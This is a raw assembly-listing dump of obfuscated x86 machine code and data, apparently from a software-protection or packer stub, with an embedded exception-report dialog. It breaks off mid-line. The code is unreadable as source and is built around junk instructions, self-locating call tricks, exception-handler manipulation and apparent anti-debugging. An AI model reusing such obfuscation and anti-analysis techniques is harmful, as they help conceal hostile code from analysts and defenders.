dd 664AE052h, 6325A575h, 0D3F837E3h, 52FAF0B3h, 2840FA5h dd 56000000h, 0C0855A5Fh, 6850Fh, 0BD8B0000h, 7FA00A1h dd 242B8589h, 6A07FDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 71C35141h, 6A69DBh, 0F9B70F60h, 2BB5FF61h dd 0F07FD24h, 683h, 41953100h, 0FF07FA08h, 0FD241795h dd 3757BF07h, 0C08536FBh, 5850Fh, 81660000h, 0FFBC98CAh dd 0FD242BB5h, 0D9D8907h, 8907FA1Dh, 0FA25759Dh, 8195FF07h dd 8B07FA24h, 0FA17E1BDh, 0FC08507h, 685h, 0B98D8B00h dd 6A07FA17h, 0E98D8B00h, 6807FA0Dh, 80h, 10C1958Bh, 36A07FAh dd 2349BD89h, 6A07FAh, 5800Fh, 81660000h, 6AB97EF7h, 51C18100h dd 685F7D3Bh, 0C0000000h, 68A0Fh, 0C1810000h, 3760B10Fh dd 24A3B5FFh, 816607FDh, 0FFA7E9E9h, 0FA311D95h, 0D18B6607h dd 2709BD29h, 0F88307FAh, 9C850FFFh, 0F000005h, 583h, 0C2816600h dd 85FF8ADAh, 7FD2F11h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 1FC35242h, 0AC008A85h, 11BD83C4h, 207FD2Fh dd 430840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0C49262C3h, 16718D31h, 858D07FAh dd 5B243Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 89C35646h, 8BD8590Ch, 0FA27598Dh, 89D0FF07h, 0FA0E198Dh dd 8E858D07h, 81005B1Eh, 219541D7h, 0BFD0FF64h, 3045734Bh dd 0CE8h, 620BE400h, 6B7E0365h, 0DFA56721h, 0F99529EBh dd 5907FA16h, 3360C08Bh, 0FA064DB5h, 6E807h, 0B6370000h dd 0AB890CD9h, 8A0Fh, 615E0000h, 2ACDBD83h, 750007FAh dd 99BD8309h, 7FA18h, 53501974h, 0D8B8C08Bh, 89000007h dd 0FA20C985h, 249D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh dd 17740007h, 0D8B85350h, 89000007h, 0FA20C985h, 139D8D07h dd 0FF07FCDFh, 6A585BD3h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 5C97C350h, 258D8BACh dd 0F07FA0Fh, 158Ah, 10E900h, 54FB0000h, 0C663337h, 0D0A030ACh dd 1E42FF32h, 0E8F58371h, 0Ch, 8F5F47A6h, 79BD8E42h, 1CC061Ch dd 18D5B529h, 8B5F07FAh, 0B58956C0h, 7FA10C1h, 3F6859h dd 0CE8B000Fh, 6AF9006Ah, 0E9816600h, 95FF0AF0h, 7FA17C9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 65C35343h dd 8BF06836h, 0FA0CE98Dh, 0FC08507h, 8589D2B7h, 7FD2427h dd 5870Fh, 0EEB90000h, 68562807h, 0F01FFh, 0EA5958Bh, 0BD8307FAh dd 7FA1CC5h, 1E840F00h, 89000000h, 0FA01199Dh, 0C087B907h dd 858D7403h, 7FD2484h, 8518D8Bh, 8E907FAh, 8B000000h dd 5A858DFAh, 5007FD24h, 0FF5BD03h, 0B5FF07FAh, 7FD2427h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AC35646h dd 95F9B503h, 29958BBAh, 0FF07FA18h, 0FD241F95h, 69BD8907h dd 8907FA1Eh, 0FD242B85h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0F3E2585Eh dd 0E9D4B16Eh, 5, 6A591EDAh, 0CE8B6678h, 229585C7h, 7FAh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0A5ABEBC3h, 8E0FCF8Bh, 2, 0BD83F88Bh, 7FD242Bh dd 9A840F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 9E37C350h, 0EBE63A62h dd 9509AEB1h, 7FA2D61h, 2709858Dh, 0BD8B07FDh, 7FA0BD9h dd 0FDBD3350h, 8907FA21h, 0FA1DDDBDh, 0BA016A07h, 442280F4h dd 242BB5FFh, 12E907FDh, 0FD000000h, 89226C6Fh, 0F224B2D1h dd 0BCBA7AA1h, 4FA7035Ch, 2395FF85h, 6607FD24h, 0B5FFCE8Bh dd 7FD242Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 9C35747h, 6C6D0051h, 0F21BD01h, 9CB507FAh, 248195FFh dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0BD71D0C3h, 3552EA32h, 0AE95300h, 25000000h dd 75C2BE03h, 0C90BC1D9h, 0FF685A00h, 51000F01h, 0E3D8D8Bh dd 15A07FAh, 0FA0FF59Dh, 0C5BD8307h, 7FA1Ch, 29840Fh, 8C0F0000h dd 6, 35099589h, 9D8907FAh, 7FA181Dh, 2484858Dh, 8D8B07FDh dd 7FA100Dh, 20E9h, 52526000h, 8D615858h, 0FD245A85h, 0FE907h dd 8BE60000h, 0EA64D265h, 9B11AD14h, 0F40F5861h, 952350E9h dd 7FA2D31h, 2427B5FFh, 816607FDh, 0FF5E43D7h, 0FD241F95h dd 14E907h, 0D28F0000h, 57095296h, 7E1A0642h, 0B623F13Ch dd 0A5CD0C5Dh, 85895A0Dh, 7FD242Bh, 3455BD0Bh, 0B5FF07FAh dd 7FD242Bh, 95FFD68Bh, 7FD241Bh, 0FFFB8B66h, 0FD242BB5h dd 8195FF07h, 8107FA24h, 7558C6D1h, 0F66AE915h, 0B966FFFFh dd 0B5FFF9FAh, 7FD2F74h, 2E759533h, 95FF07FAh, 7FA1799h dd 4EDAEF81h, 858B706Dh, 7FA29D5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0ABC35141h, 0F95EB5B6h, 9840Fh dd 8F0F0000h, 3, 0E9FEBF0Fh, 6D2h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0E9C35545h, 0A19D2977h, 8D07FA0Dh dd 0FD2729B5h, 0E890F07h, 60000000h, 18D5B589h, 850907FAh dd 7FA0851h, 8A858D61h, 0F07FCD3h, 680h, 0E9B58900h, 0FF07FA02h dd 0C98D09D0h, 8907FA1Ch, 0FA218595h, 6A006A07h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 3D86C356h, 7EBA2C6Fh, 14E5B529h, 95FF07FAh, 7FA0EBDh dd 253D8589h, 0F38B07FAh, 56DD21BFh, 0B18D296Ah, 8D07FA21h dd 0FCD38A85h, 89D0FF07h, 0FA158D95h dd 81006A07h, 4F54FFE1h, 0BD95FF52h, 6A07FA0Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 69C3C353h, 8B062203h, 2DB589C0h, 8307FA2Fh, 0FA2ACDBDh dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 7D9B8C0h dd 85890000h, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh dd 7FA1899h, 50177400h, 7D9B853h, 85890000h, 7FA20C9h dd 0DF139D8Dh, 0D3FF07FCh, 0E680585Bh, 5E97Ch, 9F370000h dd 8B7FFB54h, 59958BC0h, 5007FA0Bh, 0DF1BD33h, 0D88B07FAh dd 89D98A60h, 0FA1F9585h, 8D536107h, 0FA28899Dh, 89038B07h dd 50438B03h, 8D504389h, 0FD2F0D9Dh, 89038B07h, 0C7815B03h dd 28655333h, 1701B501h, 950107FAh, 7FA2145h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 6B5D8FC3h, 0F210FABEh, 0EE85AF5h, 87000000h, 59310C61h dd 0D0B4410Bh, 0F2E1D366h, 0B18D893Ch, 5A07FA0Fh, 6850Fh dd 8D8B0000h, 7FA0CF9h, 2F0D858Dh, 6A07FDh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 8F561EC3h dd 0EF0D78D3h, 43B966ADh, 81665078h, 6A5617C9h, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 858D2E17h, 7FA2889h, 665150F9h, 7935EF81h, 53006A59h dd 14E857h, 6B2B0000h, 9F4766FCh, 759DE164h, 0B05410Ah dd 0C885156Dh, 5F5A471Ch, 6AF18A5Ah, 998D0100h, 6807FA10h dd 1800h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 70C35646h, 53EC24D4h, 0B2207E36h, 0FA8B5357h, 2E6195FFh dd 858907FAh, 7FA1105h, 15DD8D01h, 95FF07FAh, 7FA21ADh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CAC35545h dd 0F6020B0h, 580h, 0DE816600h, 9E8BC12h, 0E9000000h, 0E156C18h dd 4E315B18h, 58CA8B66h, 12E861h, 0BA9F0000h, 1110EFh dd 3EA8132Dh, 0BC5402CAh, 0FB707CD6h, 5AC88B66h, 2F74B5FFh dd 0FB8B07FDh, 179995FFh, 9D8907FAh, 7FA0B15h, 0EE816660h dd 8D61FFB6h, 0FA288985h, 25BD8B07h, 8B07FA01h, 6A1840h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0ABE3F7C3h, 6A9D34BDh, 250D85C7h, 7FAh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0E8A716C3h, 0EA81661Ah, 10E95482h, 3000000h, 0ED0A49D4h dd 4CDE608Fh, 2809FDAFh, 83C5CE72h, 0FA1CC5BDh, 840F0007h dd 4Fh, 6840Fh, 958B0000h, 7FA2C25h, 8C3Dh, 3A830F00h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0DD2CC355h, 64E753CBh, 69958BA9h dd 6607FA21h, 0BD29F88Bh, 7FA1015h, 13E9h, 3D38B500h, 98h dd 1F7830Fh, 85890000h, 7FA0AE5h, 243B858Dh, 958B005Bh dd 7FA07B5h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0A87431C3h, 0F5958B89h, 8D07FA02h dd 5B1E8E85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 14E94Fh, 0B3670000h, 0A4B4B564h dd 2375ACBFh, 5E42BFDAh, 0EFC26868h, 6660C368h, 662CD5B9h dd 61E5E3BFh, 8B0FD0FFh, 9, 3850Fh, 0B70F0000h, 6AC08BCBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0CB44C356h, 0C21B7A38h, 309FB3F0h, 1FFB70Fh dd 0FA291195h, 0CDBD8307h, 7FA2Ah, 0BD830975h, 7FA1899h dd 50197400h, 0B8C08B53h, 0BC6h, 20C98589h, 9D8D07FAh dd 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h dd 0BC6h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 40C35646h, 353EED13h dd 0BF4BD804h, 4880F0Dh, 66000000h, 8980D0BFh, 0FA1509BDh dd 9E907h, 3BC90000h, 0BD67A944h, 8B90E018h, 0CF8B66C0h dd 0FFFF883h, 5785h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0FAA03ACCh, 7313BE62h dd 1E4D85C7h, 7FAh, 85890000h, 7FA1D3Dh, 11AE9h, 5E900h dd 0F02F0000h, 60E4DAA6h, 0E961D98Bh, 46h, 2D69958Bh, 8D3307FAh dd 7FA0885h, 0F01F883h, 3185h, 4BF1BF00h, 1FE93F28h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0CA38C352h, 0B2B6D7FCh, 25B5BD8Bh, 35E907FAh dd 0B9FFFFF0h, 7F58DE41h, 56C08BF8h, 8359CE8Bh, 0FA2ACDBDh dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 7DDB8C0h dd 85890000h, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh dd 7FA1899h, 50177400h, 7DDB853h, 85890000h, 7FA20C9h dd 0DF139D8Dh, 0D3FF07FCh, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 6DA10FC3h dd 0A7731F43h, 663349BFh, 0D20CEF81h, 7098D23h, 958907FAh dd 7FA10B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 2A7F61C3h, 13229E77h, 0F3E991B5h dd 66000001h, 8DA24CBFh, 0FD2D1185h, 0FE8B6607h, 2F098589h dd 3FE907FDh, 0E8000000h, 14h, 2595528Ah, 7B92ED3h, 3E27E353h dd 0F4CF924Fh, 982A6629h, 71D2DA81h, 665A3F05h, 858DCA8Bh dd 7FD2B19h, 29EA23B9h, 14B54037h, 2F098589h, 8B5307FDh dd 0FA31A595h, 346A5907h, 1FA1858Dh, 0FF5007FAh, 0FD2F09B5h dd 0FF006A07h, 0FA2AE595h, 7F88307h, 168840Fh, 8C660000h dd 4C3F6DBh, 102850Fh, 85C60000h, 7FA0665h, 0B8526856h dd 0B5FF9CA8h, 7FA08A5h, 3AE2858Dh, 0D0FF07FAh, 68046Ah dd 6A000010h, 0FF006A64h, 7C8589D0h, 0C607FD2Fh, 0FA066585h dd 9B684707h, 0FFEC18ACh, 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah dd 8BD0FFD0h, 6585C6F0h, 4F07FA06h, 2F266168h, 0F5B5FFC6h dd 8D07FA0Ah, 0FA3AE285h, 8DD0FF07h, 0FD2F789Dh, 286A5307h dd 85D0FF56h, 0C60075C0h, 0FA066585h, 98684107h, 0FFDB8764h dd 0FA0AF5B5h, 0E2858D07h, 0FF07FA3Ah, 958589D0h, 0C607FD2Fh dd 0FA066585h, 0A4684C07h, 0FF80A4E7h, 0FA0AF5B5h, 0E2858D07h dd 0FF07FA3Ah, 7C9D8BD0h, 8D07FD2Fh, 8D53045Bh, 0FD2F819Dh dd 6A5307h, 9D8BD0FFh, 7FD2F7Ch, 103C7h, 43C70000h, 20Ch dd 0A99D8B00h, 0C707FA1Ch, 0FA23A185h, 7, 6A006A00h, 8B006A00h dd 0FD2F7C9Dh, 6A5307h, 2F78B5FFh, 95FF07FDh, 7FD2F95h dd 66585C6h, 684507FAh, 92A5F797h, 515B5FFh, 858D07FAh dd 7FA3AE2h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h dd 2F7C9D8Bh, 43C707FDh, 0Ch, 6A006A00h, 7C9D8B00h, 5307FD2Fh dd 0B5FF006Ah, 7FD2F78h, 2F9595FFh, 0B5FF07FDh, 7FD2F78h dd 21AD95FFh, 6A07FAh, 0EBD95FFh, 958B07FAh, 7FA0AB9h dd 2D65BD8Bh, 858D07FAh, 7FD64CBh, 31958B50h, 6407FA11h dd 35FFh, 8F0F0000h, 2, 896449B1h, 25h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0EFAAAE25h, 66995B00h, 0D08B669Ah, 0CE9h dd 2D89B600h, 0C8B28D02h, 0D1B24CF3h, 35BD8305h, 7FA31h dd 5D840Fh, 0F5800000h, 0EDBD8366h, 107FA33h, 4D850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD80E7C3h, 7FD3395h, 24850F00h, 89000000h dd 0FA2C219Dh, 163E907h, 9E80000h, 55000000h, 0A7ACF1CFh dd 0EF4114AEh, 0F616060h, 82h, 335A6100h, 0CA8166DBh, 0C0330921h dd 21C19D89h, 0F4007FAh, 640B073Fh, 58Fh, 0C4830000h, 66F98B04h dd 808E25B9h, 0FB83C6C5h, 0E840FFFh, 52000000h, 5FD1BF0Fh dd 106E9h, 81BA6600h, 87E94Dh, 85290000h, 7FA1745h, 0C244C8Bh dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh dd 0E855h, 815D0000h, 0FD64EDEDh, 0B8838B07h, 8D000000h dd 0FD65CC85h, 0B8838907h, 5D000000h, 66C3C033h, 1DEDF781h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 19C35141h dd 897D8BDEh, 0FA2A699Dh, 13E907h, 9BB20000h, 0D4142C8h dd 5AC2D53Eh, 3E991C9h, 2FDED5A2h, 0E3858DAEh, 6007FD64h dd 8CDA8166h, 5061F543h, 829EEF81h, 0FF6400F4h, 35h, 458D8900h dd 6407FA2Ch, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 5526E3C3h, 9532F6A9h dd 0B9D7B70Fh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h dd 0FA18F985h, 107h, 58F6400h, 0 dd 6A04C483h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BA2C357h, 0FA0E3D95h, 0D5BD3107h dd 8B07FA0Bh, 0CA8060C0h, 6890F91h, 8B000000h, 0FA34A595h dd 0BD836107h, 7FA2ACDh, 83097500h, 0FA1899BDh, 19740007h dd 0C08B5350h, 43DB8h, 81858900h, 8D07FA15h, 0FCE28B9Dh dd 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h, 43DB8h, 81858900h dd 8D07FA15h, 0FCDF2C9Dh, 5BD3FF07h, 12E958h, 0FB960000h dd 82CDE301h, 0F692B4BBh, 59909EB5h, 4B879324h, 74ABB966h dd 84A1EA81h, 0C08B4D07h, 147E9h, 400h, 392E3100h, 3031h dd 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h dd 20202020h, 25203D20h, 0D0A64h, 1139BD83h, 0F0007FAh dd 12D84h, 43858D00h, 5007FCDDh, 0DCAD858Dh, 685007FCh dd 80000001h, 0DD5395FFh, 858D07FCh, 7FD6684h, 8E858D50h dd 5007FD66h, 6A006Ah, 0DCC1858Dh, 0FF5007FCh, 0FCDD43B5h dd 0D95FF07h, 8D07FA1Fh, 0FD668485h, 858D5007h, 7FD6692h dd 6A006A50h, 0D3858D00h, 5007FCDCh, 0DD43B5FFh, 95FF07FCh dd 7FA1F0Dh, 6684858Dh, 8D5007FDh, 0FD669E85h, 6A5007h dd 858D006Ah, 7FCDD20h, 43B5FF50h, 0FF07FCDDh, 0FA1F0D95h dd 84858D07h, 5007FD66h, 66A6858Dh, 6A5007FDh, 8D006A00h dd 0FCDD3E85h, 0B5FF5007h, 7FCDD43h, 1F0D95FFh, 858D07FAh dd 7FD6684h, 0A2858D50h, 5007FD66h, 6A006Ah, 0DD27858Dh dd 0FF5007FCh, 0FCDD43B5h, 0D95FF07h, 8D07FA1Fh, 0FD668485h dd 858D5007h, 7FD6696h, 6A006A50h, 2F858D00h, 5007FCDDh dd 0DD43B5FFh, 95FF07FCh, 7FA1F0Dh, 6684858Dh, 8D5007FDh dd 0FD669A85h, 6A5007h, 858D006Ah, 7FCDD36h, 43B5FF50h dd 0FF07FCDDh, 0FA1F0D95h, 43B5FF07h, 0FF07FCDDh, 0FA234195h dd 0A2E907h, 0BD830000h, 7FA2E1Dh, 95840F00h, 83000000h dd 0FA33EDBDh, 850F0007h, 11h, 1505958Bh, 0C28107FAh, 1CF8h dd 0FE9h, 89958D00h, 8B07FA28h, 0C2813452h, 3BD4C340h dd 17D19589h, 0BD8307FAh, 7FA17D1h, 55840F00h, 8B000000h dd 0FA17D19Dh, 4CC38307h, 8589038Bh, 7FD668Eh, 17D19D8Bh dd 0C38307FAh, 89038B50h, 0FD669285h, 0D19D8B07h, 8307FA17h dd 38B54C3h, 669E8589h, 9D8B07FDh, 7FA17D1h, 8B58C383h dd 0A2858903h, 8B07FD66h, 0FA17D19Dh, 5CC38307h, 8589038Bh dd 7FD6696h, 1139BD83h, 0F0007FAh, 0D85h, 1DBD8300h, 7FA2Eh dd 68840Fh, 0B5FF0000h, 7FD66A6h, 669AB5FFh, 0B5FF07FDh dd 7FD6696h, 66A2B5FFh, 0B5FF07FDh, 7FD669Eh, 6692B5FFh dd 0B5FF07FDh, 7FD668Eh, 6688858Dh, 8D5007FDh, 0FD66C085h dd 858D5007h, 7FA0311h, 0C595FF50h, 8307FA0Dh, 406A24C4h dd 66AA858Dh, 8D5007FDh, 0FA031185h, 6A5007h, 2AE595FFh dd 16A07FAh, 0EBD95FFh, 0C18B07FAh, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7FD6A54h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 8CB58BFFh, 8107FD6Ah, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 90B53B00h, 0F07FD6Ah dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 17D1858Bh, 188607FAh dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0BD95FF08h, 5007FA33h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 17D1858Bh, 0C607FAh, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 7FA17D1h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 7FA1459h, 0 aLdLs db '▀D$',8,'▀≤',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 5985C700h, 7FA14h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3185C700h dd 107FD6Ah, 50000000h, 244C010Fh, 35858FFEh, 8D07FD6Ah dd 0FD6A2D85h, 35BD8D07h, 8907FD6Ah, 23E938h, 858D0000h dd 7FA2889h, 538408Bh, 9B46F317h, 6A2D8589h, 858D07FDh dd 7FA2889h, 893C408Bh, 0FD6A3185h, 4A858D07h, 8907FD6Ah dd 0FA33BD85h, 87E907h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0BD858D00h, 8907FD6Ch, 0FA290585h, 0E5858D07h, 8907FD6Ch dd 0FA0EE185h, 0D858D07h, 8907FD6Dh, 0FA107D85h, 0EE807h dd 66080000h, 3F512E1Bh, 0C3393525h, 0EC10F4B8h, 3800Fh dd 0C2800000h, 8B6658B4h, 33C081D0h, 8B000073h, 1CA3B9D0h dd 0F500000h, 380h, 0F2EE8000h, 81308B5Bh, 99BE8FE2h, 0EE813Dh dd 0E837B96Fh, 5, 46207810h, 815BF997h, 881D24EEh, 48F68166h dd 0F4D5C6Dh, 1186h, 8E800h, 6BA60000h, 74199B69h, 8B660370h dd 30895BD3h, 2E883F8h, 0F1B34848h, 1E981h, 850F0000h dd 0Dh, 0E950C780h, 1Dh, 95EA474Bh, 0CEBB662Dh, 0FF97E9D8h dd 0DA6EFFFFh, 77B5B91Ch, 0CF13FA13h, 1265CBCFh, 816660AEh dd 8B2A7DE1h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 11FA7933h, 0B9A47D4Ah, 4EFA4106h dd 2ACDBD83h, 750007FAh, 99BD8309h, 7FA18h, 53501974h dd 0EB8C08Bh, 89000004h, 0FA20C985h, 249D8D07h, 0FF07FCE2h dd 83585BD3h, 0FA1899BDh, 17740007h, 0EB85350h, 89000004h dd 0FA20C985h, 139D8D07h, 0FF07FCDFh, 66585BD3h, 8166D68Bh dd 8B9D36E9h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0C280118Ch, 35BD83A5h, 7FA31h, 46840Fh dd 0B70F0000h, 0F28B66F2h, 285E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B7A24556h dd 6AA5D88Eh, 0F18166BCh, 8E0F4DB8h, 0Ch, 5E8h, 0DC31B900h dd 59F96410h, 6ADF8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 600B9DC3h, 0CE9h, 8544C700h, 53F76E41h dd 864DB613h, 0C28B6601h, 0C7F76661h, 850F0004h, 20Ah dd 0FD2B760h, 58Ch, 254EBE00h, 83611830h, 0FA1CC5BDh, 850F0007h dd 4Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h dd 3EC35242h, 664B40A7h, 99F1EE81h, 1C5E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0A658525Fh, 6ED36532h, 0E8FF2B51h, 0Dh, 0C5BFD3A4h dd 0D10A6573h, 9AD018CDh, 0D18B66D7h, 58A0F5Ah, 0BA000000h dd 50ACC484h, 71339D8Dh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 6A7D4C3h, 60C25AD5h dd 0B26CE381h, 14E96A34h, 0AA000000h, 6DBAD566h, 0DD6BF4Eh dd 0A048B20Dh, 62F0ABB8h, 615EBA8Ch, 0BE665093h, 6A932879h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CA03C357h, 0D58AE555h, 35FF64h, 66000000h dd 8964C88Bh, 25h, 17BE6600h, 6AC48B7Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0CDF3C357h dd 0E900EB01h, 0Fh, 8E698402h, 1E7A8D5Ah, 0E14228F9h, 0F05D553h dd 8F64CBBFh, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 6BE1EA5Bh, 0F1B56B02h dd 0E804C483h, 13h, 6FB986B5h, 0FC284368h, 63F17C8Dh, 592F1FCFh dd 0E9354969h, 11h, 0B8538E00h, 58785864h, 2ED1ED2Ch, 0B866D76Fh dd 0C00B5E81h, 5C840Fh, 0B70F0000h, 810F61CAh, 10h, 0BE9h dd 92438A00h, 49D4035Bh, 608FED0Ah, 72FBBD8Dh, 0F18007FAh dd 1B865h, 0FFF50000h, 6E9E7h, 0C9F90000h, 95474C76h, 245C8B57h dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h dd 0B883h, 335F0200h, 60F9C3C0h, 816161FCh, 20668DD9h dd 0C08BF96Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 3BC35747h, 